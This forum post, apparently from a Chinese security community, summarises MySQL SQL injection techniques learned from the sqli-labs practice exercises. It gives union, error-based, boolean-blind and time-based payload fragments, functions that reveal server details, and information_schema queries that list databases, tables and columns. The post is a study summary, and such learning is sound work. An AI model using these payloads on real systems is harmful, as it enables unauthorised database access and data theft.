首页
社区
课程
招聘
[分享]sql注入姿势总结
发表于: 2021-1-5 17:25 2600

[分享]sql注入姿势总结

2021-1-5 17:25
2600

以前关于sql注入的知识掌握的很零碎,最近把sqli-lab的题都刷了一遍,基本上把思路理清楚了。

sqli-lab前后断断续续用了三个月才做完,总结一下,避免忘记(mysql):

一、注入的方式

基本上分为三种:

    1.联合注入查询:union select 1,2,3...

    2.基于报错输入:基于select count(*),(floor(rand(0)*2)) x from tablename group by x语句

    3.盲注:

        布尔:and substr((select username from users limit 0,1),1,1)>'r'

        延时:and if(substr(database(),1,1)>'r',sleep(5),1)

二、信息获取中常用的方法和函数

    order by 获取列数

    @@version_compile_os    查看系统信息

    @@hostname    查看主机名 

    @@version        版本

    @@datadir    物理路径

    user( )        当前用户

    database()    当前数据库

    SELECT group_concat(schema_name) FROM information_schema.schemata    暴库

    SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = "databasename"    暴表

    SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = 'tablename'    暴字段

三、其他常用的函数

    concat_ws()函数:多列拼接。【concat_ws(分隔符,列名1,列名2,...)】

    group_concat()函数:多行拼接。【group_concat( distinct 要拼接的列 order by 列名 separator 分隔符)】

                                    concat_ws()函数和group_concat()函数混合使用:【group_concat(concat_ws('@',username,pwd) separator '<br>')】

    substr()函数:截取字符串。【substr(字符串,开始位置,截取长度)】初始位置为1

    substring()函数:截取字符串。【substring(字符串,开始位置,截取长度)】初始位置为1

    left()函数:获取字符串左边部分。【left(字符串,长度)】

    mid()函数:截取字符串一部分。【mid(字符串,开始位置,截取长度)】初始位置为1

    right()函数:获取字符串右边部分。【right(字符串,长度)】

    ord()函数:返回第一个字符的ASCII码。【ord(字符串)】

    ascii()函数:返回字符的ASCII码。【ascii(字符)】

    sleep()函数:睡眠一定的秒数,返回值为0。【sleep(秒数)】

    benchmark()函数:将表达式重复执行指定次数,返回值为0。【benchmark(次数,表达式)】

    注入过程中保证sql语句语法的方法: ①使用注释符号截断sql语句;②使用尾部闭合方式

四、其他方法

主要是如何避免被转义,waf bypass等,涉及到编码替换、截断等,这些就具体问题具体分析了。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回